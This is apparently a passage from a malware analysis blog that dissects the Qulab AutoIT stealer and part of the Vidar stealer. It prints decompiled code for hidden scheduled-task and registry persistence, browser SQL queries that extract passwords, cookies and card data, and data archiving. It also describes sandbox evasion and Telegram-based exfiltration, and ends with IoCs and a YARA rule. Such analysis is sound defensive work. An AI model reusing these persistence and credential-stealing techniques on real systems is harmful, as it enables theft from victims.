IF $A4A7AC0550A=DEFAULT THEN $A4A7AC0550A=-NUMBER($A198A005329)
IF $A2F7AD03E54=DEFAULT THEN $A2F7AD03E54=-NUMBER($A2C8A10261F)
IF $A3D7AE0071E=DEFAULT THEN $A3D7AE0071E=-NUMBER($A218A202B4D)
IF $A3F7AF01354=DEFAULT THEN $A3F7AF01354=-NUMBER($A2A8A300E5F)

> Using count variable into a 2D Array, with a value that is stored inside a 20 000 length array.

 
 
$A31E5E11A1F[NUMBER($A2646512725)][NUMBER($A0C46615D39)]+=NUMBER($A5246713208)

> Hiding code error integers by a mixture of multiple functions and variables.

 
 
RETURN SETERROR($A2C07504A0A,NUMBER($A411740414D),NUMBER($A6017502D45))

Code Execution

This malware has an unorthodox way to execute code and it's pretty cool.

Read the directives, follow them to go to the main function
The main function will set up the master array (I will explain this later)
When this function is done, the script will go again to the beginning by a purely logical way after the directives, and search for Global variables and instructions, for our case, it will be some global variables.
When all of the Global Variables have been initiated, it will skip all the functions because they are simply not called (for the moment), and will try to reach some exploitable instruction (as I explained above). When finally some code is reachable, a domino effect occurs, an initiated variable will call one function, that inside it will call one or multiple functions, and so on.
During the same process, there is also some encoded files that are hardcoded into the code and injected into the code for some specific tasks. When every setup tasks are done, it's entering into an infinite loop for specific purposes.

In the end, it could be schematized like this.

Directives are leading the road path

Everything that is starting with '#' is a directive, this is technically the first thing that the script will check, and here, it's configured to go to a specific function at all cost that is "A5300003647_", this one is the main function.

 
 
#СЪЕБИСЬ ОТСЮБДА ДУДА ТЫ ССАНАЯ БЛЯХА МУХА
#NoTrayIcon
#OnAutoItStartRegister "A5300003647_"

#NoTrayIcon - Hide the AutoIT icon on the tray task #OnAutoItStartRegister - The first function that will be called at the beginning of the script (an equivalent of the main function)

The Main function is VIP

The first function of Qulab is critical because this is where almost all the data is initialized for the tasks. The variable $DLIT is storing a "huge" string that will be split with the delimiter "o2B2Ct" and stored into the array $OS Note: the name mentioned here is the one that will be used for this stealer script, results may vary between samples but the idea remains the same.

 
 
FUNC A5300003647_()
 FOR $AX0X0XA=1 TO 5
 LOCAL $DLIT="203020o2B2Ct203120o..." 
 GLOBAL $A5300003647,$OS=STRINGSPLIT($DLIT,"o2B2Ct",1)
 IF ISARRAY($OS) AND $OS[0]>=19965 THEN EXITLOOP
 SLEEP(10)
 NEXT
ENDFUNC

Global Variables are the keys

Global Variables are certainly the main focus of Qulab, they are nowhere and everywhere, they are so impactful with the master array that a single modification of one Variable can have a domino effect for the whole malware that could end to a segmentation fault or anything else that could crash the script. When a variable is initialized, there are multiple steps behind it :

Selecting a specific value from the master array
Converting the value to a string
Profit

 
 
GLOBAL $A1D7450311E=A5300003647($OS[1])

the function "A5300003647" is, in fact, an equivalent of "From Hex" feature, and it's converting 2 bytes by 2 bytes the values.

 
 
FUNC A5300003647($A5300003647)
 LOCAL $A5300003647_
 FOR $X=1 TO STRINGLEN($A5300003647) STEP 2
 $A5300003647_&=CHR(DEC(STRINGMID($A5300003647,$X,2)))
 NEXT
 RETURN $A5300003647_
ENDFUNC

By just tweaking the instructions of the AutoIT scripts, with the help of some adjustments (thanks homemade deobfuscate scripts and patience), variables are now almost fully readable. After modifying our 19966 variables (that's a lot), we can see clearly most of the tasks that the malware has on the pipe statically. this doesn't mean that is done with this part, It's only a first draft and it needs to be cleaned again because there is a lot of unfinished tasks and of course as I explained above, most of them are unused.

Main code

After all that mess to understand what is the correct path to read the code, the script is now entering into the core step, The more serious business begins right now. To summarize all the task, this is briefly what's going on :

Setting up, Variables that are configured in the builder
- Name of the payload
- Name of the schedule task
- Name of the schedule task folder
- name of the hidden AppData folder where the malware will do the tasks
- Wallets
Hide itself
Do all the stealing tasks
Decoding & load dependances when it's required
Make the persistence
And more... :)

Where is the exit?

Between two functions there is sometimes global variables that declared or there are also sneaky calls that have an impact into the payload itself. They could not be really seen at a first view, because they are drowned into an amount of code. So 1 or 2 lines between dozens of functions could be easily forgettable. we can see that is also indicating the specific method that will be called at the end of everything.

 
 
ONAUTOITEXITREGISTER("A1AA3F04218")

So with just small research, we can see our function that will be called at the end of the script between a huge amount of spaghetti code. Its in fact, closing crypt32.dll module, thats is used for the CryptoAPI.

 
 
GLOBAL $A1A48943E37=DLLOPEN("crypt32.dll")

Some curiosities to disclose

Homemade functions or already made?

For most of the tasks, the malware is using a lot of "User Defined Functions" (UDF) with some tweaks, as explained on the AutoIT FAQ: "These libraries have been written to allow easy integration into your own scripts and are a very valuable resource for any programmer". it confirms more and more that open-source code and programming forums are useful for both sides (good & bad), so for developing malware it doesn't require to be a wizard, everything is at disposition and free. Also for Qulab, it's confirmed that he used tweaked or original UDF for :

SQL content
Archiving content
Telegram API
Windows API
Memory usage

Memory optimization

AutoIT programs are known to be greedy in memory consumption and could be probably a risk to be more detectable. At multiple time, the malware will do a task to check if there is a possibility to reduce the amount of allocated memory, by removing as much as possible, pages from the working set of the process. The manipulation required to use EmptyWorkingSet and could permit to reduce by half the memory usage of the program.

 
 
FUNC A0E64003F0C($A1B85D1000C=0)
 IF NOT $A1B85D1000C THEN $A1B85D1000C=EXECUTE(" @AutoItPID ")
 LOCAL $A3485F11D1D=DLLCALL("kernel32.dll","handle","OpenProcess","dword",(($A209DF54B2B<1536)?1280:4352),"bool",0"dword",$A1B85D1000C)
 IF @ERROR OR NOT $A3485F11D1D[0] THEN RETURN SETERROR(@ERROR+20,@EXTENDED,0)
 LOCAL $A5F55F1392E=DLLCALL(EXECUTE(" @SystemDir ")&"\psapi.dll","bool","EmptyWorkingSet","handle",$A3485F11D1D[0])
 RETURN 1
ENDFUNC

First, it will grab the PID value of the AutoIT-compiled program by executing the macro @AutoItPID, then opening it with OpenProcess. But one of the argument is quite obscure

 
 
(($A209DF54B2B<1536)?1280:4352)

what is behind variable $A209DF54B2B? let's dig into it...

 
 
GLOBAL CONST $A209DF54B2B=A2054F01A5F()

FUNC A2054F01A5F()
 LOCAL $A1656715F1D=DLLSTRUCTCREATE("struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct")
 DLLSTRUCTSETDATA($A1656715F1D,1,DLLSTRUCTGETSIZE($A1656715F1D))
 LOCAL $A5F55F1392E=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$A1656715F1D)
 IF @ERROR ORNOT$A5F55F1392E[0] THENRETURNSETERROR(@ERROR,@EXTENDED,0)
 RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($A1656715F1D,2),-8),DLLSTRUCTGETDATA($A1656715F1D,3)))
ENDFUNC

This is WinAPI function will retrieve the version of the current operating system used on the machine, the value returned is into a binary format. So if we look back and check with the official API.

 
 
//
// _WIN32_WINNT version constants
//
 
#define _WIN32_WINNT_NT4 0x0400 // Windows NT 4.0
#define _WIN32_WINNT_WIN2K 0x0500 // Windows 2000
#define _WIN32_WINNT_WINXP 0x0501 // Windows XP
#define _WIN32_WINNT_WS03 0x0502 // Windows Server 2003
#define _WIN32_WINNT_WIN6 0x0600 // Windows Vista
#define _WIN32_WINNT_VISTA 0x0600 // Windows Vista
#define _WIN32_WINNT_WS08 0x0600 // Windows Server 2008
#define _WIN32_WINNT_LONGHORN 0x0600 // Windows Vista
#define _WIN32_WINNT_WIN7 0x0601 // Windows 7
#define _WIN32_WINNT_WIN8 0x0602 // Windows 8
#define _WIN32_WINNT_WINBLUE 0x0603 // Windows 8.1
#define _WIN32_WINNT_WINTHRESHOLD 0x0A00 // Windows 10
#define _WIN32_WINNT_WIN10 0x0A00 // Windows 10

With knowing the Windows Version with this function, the AutoIT script is now able to open the process correctly and analyzing it. The last task is to purge the unused working set by calling EmptyWorkingSet for cleaning some unnecessary memory.

Task scheduling

Task scheduling with stealers is summarized with one line of code, a simple and effective ShellExecute command with schtask.exe to execute periodically something, as a persistence trick. Here it's a little bit more advanced than usual, in multiple points by using a TaskService Object

 
$A60FD553516=OBJCREATE("Schedule.Service")
$A60FD553516.Connect()

The new task is set with a flag value of 0, as explained in the MSDN Documentation, it's a mandatory value.

 
 
$A489E853A1E=$A60FD553516.NewTask(0)

To be less detectable, some tricks as being done to look like legit as possible by detailing that the process has been made by the correct user, the description, the name of the task and the task folder is adjusted by what the customer wants.

 
 
$A4A9E951E11=$A489E853A1E.RegistrationInfo()
$A4A9E951E11.Description()= $A487E851D38
$A4A9E951E11.Author()=EXECUTE(" @LogonDomain ")&"\"&EXECUTE(" @UserName ")

After some other required values to be configured that is not really necessary to talk, it's way more interesting to talk about the setting part of this Task Service because it is quite interesting. To maximize the yield, Qulab tweaks the service whenever the situation :

The laptop is not on charge
The battery is low
Network available or not

In the end, every minute, the task manager will run the task by executing the malware into the hidden repository folder in %APPDATA%.

 
 
$A4B9EA50562=$A489E853A1E.Settings()
$A4B9EA50562.MultipleInstances() = 0
$A4B9EA50562.DisallowStartIfOnBatteries()= FALSE
$A4B9EA50562.StopIfGoingOnBatteries()= FALSE
$A4B9EA50562.AllowHardTerminate()= TRUE
$A4B9EA50562.StartWhenAvailable()= TRUE
$A4B9EA50562.RunOnlyIfNetworkAvailable() FALSE
$A4B9EA50562.Enabled()= TRUE
$A4B9EA50562.Hidden()= TRUE
$A4B9EA50562.RunOnlyIfIdle()= FALSE
$A4B9EA50562.WakeToRun()= TRUE
$A4B9EA50562.ExecutionTimeLimit()= "PT1M" // Default PT99999H
$A4B9EA50562.Priority()= 3 // Default 5
$A3E9EB51B0D=$A489E853A1E.Principal()
$A3E9EB51B0D.Id()=EXECUTE(" @UserName ")
$A3E9EB51B0D.DisplayName()=EXECUTE(" @UserName ")
$A3E9EB51B0D.LogonType()=$A0B8E352D04
$A3E9EB51B0D.RunLevel()= 0

Another Persistence?

A classic one is used

 
 
IF NOT A3F64500C0D($A00DEB51215,$A35DEF51B61) THEN 
REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
 $A00DEB51215,"REG_SZ",""""&$A104A053309&"\"&$A60DE955B5F&"""")

There is nothing much to say more, about this part...

Encoding is not encryption

When I was digging into the code, I found a mistake that makes me laugh a little... The classical quote for saying that base64 is encryption. So maybe after this in-depth analysis, the malware developer will fix his mistake (or just insulting me :') )

Malware Features

Clipper

If you are unfamiliar with what is a clipper, it's in fact really simple... The idea is to alter something that is in the clipboard content with the help of some filters/rules that is most of the cases simplify as regular expressions. If it matches with something, it will modify the amount of data caught with something else that was configured. It's heavily used for swapping crypto wallet IDs from the victim to the attacker one. This is also the case with Qulab, it's focusing on Wallets & Steam trade links. This piece of code represent the core of the clipper : So that are the steps:

Execute a script for checking if there any new data to send for the attacker
Checking if the ongoing task is present on the task scheduler.
Cleaning unnecessary Working Set (see the memory optimization explained above)
Make a pause in the loop for 200 ms
Get the content of the clipboard with CLIPGET
Check all the wallet, if it matches, substitute with the wished value.

Put the modified content on the Clipboard with CLIPPUT
Repeat

All the values from the different wallet that the attacker wants to swap are stored at the beginning of the code section. By pure speculations, I'm considering that are the values that are configured in the builder. Current List of Cryptocurrency Wallet that the stealer is switching.

Bitcoin	Bitcoin Cash	Bitcoin Gold	Bytecoin
Cardano	Lisk	Dash	Doge
Electronium	Ethereum	Graft	Litecoin
Monero	Neo	QIWI	Qtum
Steam Trade Link	Stratis	VIA	WME
WMR	WMU	WMX	WMZ
Waves	Yandex Money	ZCash

Browser Stealer

Qulab is some kind of a puzzle with multiple pieces and each piece is also another puzzle. Collectings and sorting them to solve the entire fresco is some kind of a challenge. I can admit for the browser part, even if the concept is easy and will remain always the same (for the fundamentals of a Password Stealer), the way that it was implemented is somewhat clever. At first, every browser that is supported by the malware is checked in turn, with specific arguments :

The Browser path
The files that the stealer wants to grab with "|" as a delimiter
The Name of the browser

It goes to a very important function that will search (not only for the browser), these kinds of files :

wallet.dat
Login Data
formhistory.sqlite
Web Data
cookies.sqlite
Cookies
.maFile

If they are matching, it enters into a loop that will save the path entry and storing it into one master variable with "|" as a delimiter for every important file. When all the files are found, it only needs to do some regular expression to filter and split the data that the malware and to grab. After inspecting and storing data from browsers that are present in the list, serious business is now on the pipe... One of the binaries that are hardcoded in base64 is finally decoded and used to get some juicy data and like every time it's the popular SQLite3.dll that was inside all of this. Something interesting to notice is that the developer made some adjustment with the official AutoIT FUD For SQLite3 and removed all the network tasks, for avoiding downloading the libraries (32 or 64 bits) and of course be less detectable. The file is saved into the %ROAMING% directory, and will have the name :

PE_Name + ".sqlite3.module.dll"

The routine remains the same for each time this library is required :

Checking with a patched _SQLite_GetTable2d, the SQL Statement that needs to be executed & tested is a valid one.
The SQL Table is put into a loop and each iteration of the array is verified by a specific regular expression.
If the content is found, it enters into another condition that will simply add them into the list of files & information that will be pushed in the malicious archive.

In the end, these requests are executed on browser files.

 
 
SELECT card_number_encrypted, name_on_card, expiration_month, expiration_year FROM credit_cards;
SELECT username_value, password_value, origin_url, action_url FROM logins;
select host, 'FALSE' as flag, path, case when isSecure = 1 then 'TRUE' else 'FALSE' end as secure, expiry, name, value from moz_cookies;
select host_key, 'FALSE' as flag, path, case when is_secure = 1 then 'TRUE' else 'FALSE' end as secure, expires_utc, name, encrypted_value from cookies;

Current List of supported browsers

360 Browser	Amigo	AVAST Browser	Blisk	Breaker Browser
Chromium	Chromodo	CocCoc	CometNetwork Browser	Comodo Dragon
CyberFox	Flock Browser	Ghost Browser	Google Chrome	IceCat
IceDragon	K-Meleon Browser	Mozilla Firefox	NETGATE Browser	Opera
Orbitum Browser	Pale Moon	QIP Surf	SeaMonkey	Torch
UCBrowser	uCOZ Media	Vivaldi	Waterfox	Yandex Browser

FTP

The FTP is rudimentary but is doing the task, as far than it looks, it's only targeting FileZilla software.

Grabber

Qulab doesn't have an advanced Grabber feature, it's really simplistic compared to stealers like Vidar. It simplifies by just one simple line... It's using the same function as explained above with the browsers, with the only difference, it's focusing on searching specific file format on the desktop directory Targeted files are

.txt
.maFile
wallet.dat

Wallet

Nothing to say more than Exodus is mainly targeted.

Discord

Discord is more and more popular nowadays, so it's daily routine now to see this software targeted by almost all the current password-stealer on the market.

Steam & Steam Desktop Authenticator

The routine for Steam is almost identical to the one that I explained in Predator and will remain the same until Steam will change some stuff into the security of his files (or just changing the convention name of them).

Finding the Steam path into the registry
searching the config folder
searching recursively into it for grabbing all the ssfn files

But! There is something different on this Password-stealer than all the other that I've seen currently. Its also targeting Steam Desktop Authenticator a Third-party software as explained on the official page as a desktop implementation of Steam's mobile authenticator app. It's searching for a specific and unique file ".maFile", it's already mentioned above in the Grabber part and The Browser Stealing part. This file contains sensitive data of the steam account linked with the Steam mobile authenticator app. So this malware is heavily targeting Steam :

Clipping Steam Trade Links
Stealing steam sessions
Stealing 2FA main file from a Third-Party software.

Information log

It's a common thing with stealer to have an information file that logs important data from the victim's machine. It's also the case on Qulab, it's not necessary to explain all the part, I'm just explaining here simply with which command it was able to do get the pieces of information.

OS Version	@OSVersion
OS Architecture	@OSArch
OS Build	@OSBuild
Username	@UserName
Computer Name	@ComputerName
Processor	ExecQuery("SELECT * FROM Win32_VideoController","WQL",16+32)
Video Card	ExecQuery("SELECT * FROM Win32_Processor","WQL",16+32)
Memory	STRINGFORMAT("%.2f Gb",MEMGETSTATS()[1]/1024/1024)
Keyboard Layout ID	@KBLayout
Resolution	@DesktopWidth & @DesktopHeight & @DesktopDepth & @DesktopRefresh

Network

Not seen due to the proxy, there is a network request done on ipapi.co for getting all the network information of the victim's machine.

 
 
$A4AC5512B62=INETREAD("https://ipapi.co/json",3)

The JSON result is consolidated into one variable and saved for the final log file.

 
 
IF STRINGLEN($A4AC5512B62) > 75 THEN
 $A2B1F55481F=A4604603206(BINARYTOSTRING($A4AC5512B62))
 $A280FD53C4B =" - IP: " &A211460135A($A2B1F55481F,"[ip]") & EXECUTE(" @CRLF ")
 &" - Country: " &A211460135A($A2B1F55481F,"[country_name]") & EXECUTE(" @CRLF ")
 &" - City: " &A211460135A($A2B1F55481F,"[city]") & EXECUTE(" @CRLF ")
 &" - Region: " &A211460135A($A2B1F55481F,"[region]") & EXECUTE(" @CRLF ")
 &" - ZipCode: " &A211460135A($A2B1F55481F,"[postal]") & EXECUTE(" @CRLF ")
 &" - ISP: " &A211460135A($A2B1F55481F,"[org]") & EXECUTE(" @CRLF ")
 &" - Coordinates: " &A211460135A($A2B1F55481F,"[latitude]")&", "&A211460135A($A2B1F55481F,"[longitude]")&EXECUTE(" @CRLF ")
 &" - UTC: " &A211460135A($A2B1F55481F,"[utc_offset]")&" ("&A211460135A($A2B1F55481F,"[timezone]")&")"
ENDIF

Softs

 
 
$A12EF151C00=A5944E0550E("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall","","DisplayName")
FOR $A51E7205400 = 1 TO $A12EF151C00[0][0]
 $A3B1F954B63 &=" - "&$A12EF151C00[$A51E7205400][0]&EXECUTE(" @CRLF ")
NEXT

Process List

Because AutoIT is based for doing automation task script, almost all the basic commands from the WinAPI are already integrated, so by simply using the ProcessList() call, the list of all the processes are stored into an array.

 
 
$A2EEFA54E30=PROCESSLIST()
FOR $A51E7205400=1 TO $A2EEFA54E30[0][0]
 $A481FB54A60&=" - "&$A2EEFA54E30[$A51E7205400][0]&" / PID: "&$A2EEFA54E30[$A51E7205400][1]&EXECUTE(" @CRLF ")
NEXT

By mixing all this data, the log file is finally done:

 
 
# /===============================\
# |=== QULAB CLIPPER + STEALER ===|
# |===============================|
# |==== BUY CLIPPER + STEALER ====|
# |=== http://teleg.run/QulabZ ===|
# \===============================/

Date: XX.XX.2019, HH:MM:SS

Main Information:
- ...

Other Information:
- ...

Soft / Windows Components / Windows Updates:
- ...

Process List:
- ...

Instructions log

For probably helping his customers when the malware is catching data from specific software other than browsers, an additional file is added to give some explanations to fulfill the task entirely after the stealing process, step by step and stores into "Инструкция по установке.txt" Instructions are unique for each of these :

Exodus
Discord
Wallets
Steam
Filezilla
Telegram
Steam Desktop Authentication
Grabber part

Archive Setup

When finally everything is done on the stealing tasks, the folder is now ready to be archived, and it's using another encoded payload hardcoded into the script. It's not really complicated to understand here it's 7zip behind this huge amount of code.

The payload is saved into the folder repository on %APPDATA% with the name of PE_Name + ".module.dll" and executing a specific task before deleting everything.

 
 
ARCHIVATE($A271F153721)
RUNWAIT($A271F153721&" a -y -mx9 -ssw """&$A104A053309&"\"&$A63CEC52907&".7z"" """&$A104A053309&"\1\*""","",EXECUTE(" @SW_HIDE "))
FILEDELETE($A271F153721)

If you don't understand the command, they are explained here :

a	Add
y	yes on all queries
mx9	Ultra Compression Method
ssw	Compress files open for writing

In the end, this is an example of a final archive file.

But there is a possibility to have all these files & folders:

 
 
\1\Passwords.txt
\1\Information.txt
\1\Screen.jpg
\1\AutoFills.txt
\1\CreditCards.txt
\1\Cookies
\1\Desktop TXT Files
\1\Discord
\1\Telegram
\1\Steam
\1\Exodus
\1\Wallets
\1\FileZilla
\1\SDA

Cleaning process

Simple and effective:

Killing the process
Deleting the script directory

It's easily catchable on the monitoring logs.

Telegram Bot as C2?

This malware is using a Telegram bot for communicating & alerting when data have been stolen. As usual, it's using some UDF functions, so there is nothing really new. It's not really complicated to understand how it's working. When a bot is created, there is a unique authentication token that could be used after for making requests to it. api.telegram.org/bot/ Also, it's using a private proxy when it's sending the request to the bot : These values are used to configure the proxy setting during the HTTP request :

How it looks like on the other side?

This malware is developed by Qulab, and it took seconds to find the official sale post his stealer/clipper. As usual, every marketing that you want to know about it is detailed.

This stealer/clipper is sold 2000 rubles (~30$)
Support is possible

Let's do some funny stuff

I made some really funny unexpected content by modifying some instructions to make something that is totally unrelated at all. Somewhat, patching malware could be really entertaining and interesting! Note: If you haven't seen the anime "Konosuba", you will not understand at all, what's going on :p

Watch the video on YouTube

Additional Data

IoC

Hashes

a915fc346ed7e984e794aa9e0d497137
887fac71dc7e038bc73dc9362585bf70
a915fc346ed7e984e794aa9e0d497137

185.142.97.228

Proxy Port

65233

Schedule Task

%PAYLOAD_NAME%
Random Description

Folders & Files

%APPDATA%/%RANDOM_FOLDER%/
%APPDATA%/%RANDOM_FOLDER%/1/
%PAYLOAD_NAME%.module.exe (7zip)
%PAYLOAD_NAME%.sqlite.module.exe (sqlite3.dll)

Threat Actor

Qulab

MITRE ATT&CK

Software & Language used

AutoIT
Aut2Exe (Decompiler)
myAut2Exe (Decompiler)
CFF Explorer
x32dbg
Python

Yara

rule Qulab_Stealer : Qulab 
{
 meta:
 description = "Yara rule for detecting Qulab (In memory only)"
 author = "Fumik0_"

 strings:
 $s1 = "QULAB CLIPPER + STEALER" wide ascii
 $s2 = "SDA" wide ascii
 $s3 = "SELECT * FROM Win32_VideoController" wide ascii
 $s4 = "maFile" wide ascii
 $s5 = "Exodus" wide ascii
 
 condition:
 all of ($s*)
}

Conclusion

Well, it's cool sometimes to dig into some stuff that is not really common for the language choice (on my point of view for this malware). It's entertaining and always worth to learn new content, find new tools, find a new perspective to put your head into some totally unknown fields. Qulab stealer is interesting just in fact that is using AutoIT and abusing a telegram bot for sharing some data but stealing & clipper features remain the same as all the other stealers. The other thing that, it's confirming also that more and more people are using User Defined Functions/Libraries free to use to do good or bad things, this trends will be more and more common in those days, developers or simple users with lack of skills is now just doing some google research and will be able to make a software or a malware, without knowing anything in depth about what the code is doing, when the task is done, nothing else matters at the end. But I admit, I really take pleasure to patch it for stupid & totally useless stuff :) Now it's time for a break. #HappyHunting Special thanks: @siri_urz, @hh86_

CPU Power Usage - Sandbox Evasive Technique

Wed, 27 Feb 2019 19:53:35 +0000

Hi Folks, I'm not usually in this kind of paper, but this time, I am exceptionally writing a really short one about something related to some VM evasive PoC. There is always some tricks to detect if you are running on a virtual machine or not. Most of them are stupid, but it's enough accurate to just lose some minds when you have to harden your sandbox. The idea here, there are some sensors to check the current CPU Power Usage. When you see as below, it returns this kind of values, when you are running a program normally. But in a sandbox, it will return 0. Source: Original source #HappyHunting

The GIF that used to sit here is no longer available: it was hosted on gfycat, which has shut down.

Photo by Shawn Stutzman from Pexels

Let's dig into Vidar - An Arkei Copycat/Forked Stealer (In-depth analysis)

Mon, 24 Dec 2018 09:32:01 +0000

Sometimes when you are reading tons and tons of log of malware analysis, you are not expecting that some little changes could be in fact impactful. I paid the price when I was analyzing a supposed Arkei malware. my Yara rule at that time was supposed to trigger this malware, but after some reversing, I realized that I was confronted with something different. Some strings linked to Arkei signature was deleted and a new one appeared with the string "Vidar", there are also some other tweaks in the in-depth analysis that proves there are some differences (but small), but all the rest was totally identical to Arkei. The malware is written in C++, seems to have started activities at the beginning of October 2018 and have all the kind of classic features of stealers:

Searching for specific documents
Stealing ID from cookie browsers
Stealing browser histories (also from tor browser)
Stealing wallets
Stealing data from 2FA software
Grabbing message from messenger software
Screenshot
Loader settings
Telegram notifications (on server-side)
Get a complete snapshot of all information of the computer victim

Sold with a range of 250-700$, this stealer on shop/forums and when people buy it, they have access to a C2 Shop portal where they are able to generate their own payloads. So there is no management on their side. Also, domains who leads to the C2/Shop are changed every 4 days. For this in-depth analysis, I will inspect the 4.1 version of Vidar, take an overview of the admin panel, catching the differences with Arkei.

Basic Countries by-passing

So first of all, we have some classic pattern to quit the program if the victim machines are configured in some language with the help of GetUserDefaultLocaleName. This is one of the easy tricks to check if the malware is not infected users from specific countries. As explained in the MSDN, A "locale" is a collection of language-related user preference information represented as a list of values, the stealer will check if the language is corresponding with the list of countries that mentioned below. With a few seconds of searching on google, it's easy to understand which countries are behind the locale names :

Locale	Country
ru-RU	Russia
be-BY	Belarus
uz-UZ	Uzbekistan
kk-KZ	Kazhakstan
az-AZ	Azerbaijan

LCID Structure - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/63d3d639-7fd2-4afb-abbe-0d5b5551eef8 Language Code Table - http://www.lingoes.net/en/translator/langcode.htm LocaleName - https://learn.microsoft.com/en-us/windows/desktop/Intl/locale-names Locale - https://learn.microsoft.com/en-us/windows/desktop/Intl/locales-and-languages

Mutex generation

The mutant string generated by Vidar is unique for each victim, but simple to understand how it is generated. This is just a concatenation of two strings :

Hardware Profile ID

GetCurrentHwProfileA is used to retrieve the current hardware profile of the computer with the value of szHwProfileGuid. If it fails, it will return "Unknown" here.

The Machine GUID

With the help of RegOpenKeyExA, the value of the registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This is the UUID created by Windows during the installation of the operating system. When it's done, the mutex is created, just like this :

String setup

When Vidar is entering in the main function, it needs to store some required strings to be able to work properly for some further steps. All the RVA address of each string are stored in the .data section. The malware will go there to access to the requested string. This is a trick to slow down the static analysis of the malware, but this is really easy to surpass :)

C2 Domain & Profile ID

When the malware is generated by the builder on the customer area. A unique ID is hardcoded into it. When Vidar will request this value on the malicious domain, it will retrieve the corresponding profile that the threat actor wants to grab/steal into the victim machine. So on this case, this the profile ID is "178". If there is no config on the malware, the profile ID "1" is hardcoded into it. The C2 domain is a simple XORed string, the key is directly put into the XOR function to decrypt the data. And decrypted it's in fact "newagenias.com" Configs are possible to be extracted easily with the script izanami.py on my GitHub repository.

How to understand the config format

For example, this is default configuration the malware could get from the C2 : 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; Each part have the ";" in delimiter, so let's dig into it

First part

1	Saved password
1	Cookies / AutoFill
1	Wallet
1	Internet History
1	??? - Supposed to be Skype *(not implemented)*
1	??? - Supposed to be Steam *(not implemented)*
1	Telegram
1	Screenshot
1	Grabber
1	???
250	Max Size (kb)
Default	Name of the profile (also used for archive file into the files repository)

Second part

%DESKTOP %

Selected folder repository where the grabber feature will search recursively (or not) some selected data

Third part

*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*

Fourth part

50	Max Size per file (kb)
true	Collect Recursively

Fifth part:

movies:music:mp3; This is the exception part, the grabber will avoid those strings if it matches in the files searched recursively in the specific wanted folder. The setup is quite a mess if we are looking into the code. each option is stored into a byte or dword variable.

Folder generation

To summarize all kind of possibles files/folders that will be generated for the malicious repository is in fact pretty simple :

\\files <- Master folder
\\files\\Autofill <- Auto-Fill files
\\files\\CC <- Credit Cards
\\files\\Cookies <- Cookies
\\files\\Downloads <- Downloaded data history from browsers
\\files\\Files <- Profile configs (Archives)
\\files\\History <- Browser histories
\\files\\Soft <- Master folder for targeted softwares
\\files\\Soft\\Authy <- 2FA software
\\files\\Telegram <- Telegram messages
\\files\\Wallets <- Cryptomining Wallets

Generalist files

\\files\screenshot.jpg <- Actual screenshot of the screen
\\files\passwords.txt <- Passwords consolidated all at once
\\files\\information.txt <- Snapshot of the computer setup

Libraries necessary to grab some data

Something that I love when I read some malware specs, it's when they said that the product could be launched without the necessity to have some runtime libraries or other required software on the machine. But when you dig into the code or just watching some network flow, you can see that the malware is downloading some DLL to be able to do some tasks. And for this case, they are required during the stealing process of different kind of browsers.

freebl3.dll	Freebl Library for the NSS (Mozilla Browser)
mozglue.dll	Mozilla Browser Library
msvcp140.dll	Visual C++ Runtime 2015
nss3.dll	Network System Services Library (Mozilla Browser)
softokn3.dll	Mozilla Browser Library
vcruntime140.dll	Visual C++ Runtime 2015

They are deleted when the task is done.

FTP

List of supported software

FileZilla
WinSCP

2FA software

Something that I found interesting on this malware is that also 2FA software is also targeted, a feature that I considered not seen really in the wild, and pretty sure this will be more and more common in the future. With the multiplication of those kinds of protection. Victims must understand that 2FA is not the ultimate way to protect accounts from hackers, this could be also another door for vulnerabilities :) So with Vidar, the Authy software is targeted... More specifically the SQLite file on the corresponding application on %APPDATA% repository. It looks like this is the same operating where stealer wants to steal data with software like Discord or Chrome. So guys, be careful with your 2FA software :)

Browsers

Something interesting to mention, this bad boy is also stealing Tor Browser stuff. List of supported Browsers

360 Browser
Amigo
BlackHawk
Cent Browser
Chedot Browser
Chromium
CocCoc
Comodo Dragon
Cyberfox
Elements Browser
Epic Privacy
Google Chrome
IceCat
Internet Explorer
K-Meleon
Kometa
Maxthon5
Microsoft Edge
Mozilla Firefox
Mustang Browser
Nichrome
Opera
Orbitum
Pale Moon
QIP Surf
QQ Browser
Sputnik
Suhba Browser
Tor Browser
Torch
URAN
Vivaldi
Waterfox

Of course, this list could be more important than this if there are some browsers based on chromium repository.

Messengers/Mailer

I will not explain here, how it works, but the technique is the same that I've explained in my previous blog post. (Especially for the Telegram part).

Bat!
Pidgin
Telegram
Thunderbird

Wallets

Anoncoin
BBQCoin
Bitcoin
DashCore
DevCoin
DigitalCoin
Electron Cash
ElectrumLTC
Ethereum
Exodus
FlorinCoin
FrancoCoin
JAXX
Litecoin
MultiDoge
TerraCoin
YACoin
Zcash

Of course, this list could change if the customer added some additional files to search on specific areas on the victim machine.

Grabber

The grabber feature is by far, the most complicated feature of the malware and what he looks to be really different from Arkei, in term of implementation. So first of all, it will skip or not the grabber feature by checking in config file downloaded, if this is activated. Preparing the strings for creating the folder path and when all is set func_grabber could be used. When inspecting the func_grabber, I was not prepared to have this : By far, when I saw this, I was not really happy to reverse this. I mean, I know I was falling in some unexpected allocated memory into my brain. I had all the magnificent stuff that all malware reverser love (or not at all) :

Weird conditions come out the blue.
Calling function that will call other functions like Russian wooden dolls
API calls
etc...

But if we are watching these at a macro view, it's, in fact, easier than it looks like. I will just show just one example. So in the example below, if the string %APPDATA% is present in the config downloaded from the C2. it will enter into the function and will start a bunch of verifications. Until entering into the most important one called func_VidarSearchFile After the process will remain almost the same for each scenario. This is at least, all the repositories available in the grabber feature :

%ALL_DRIVES% (GetDriveTypeA Necessary)
%APPDATA%
%C%
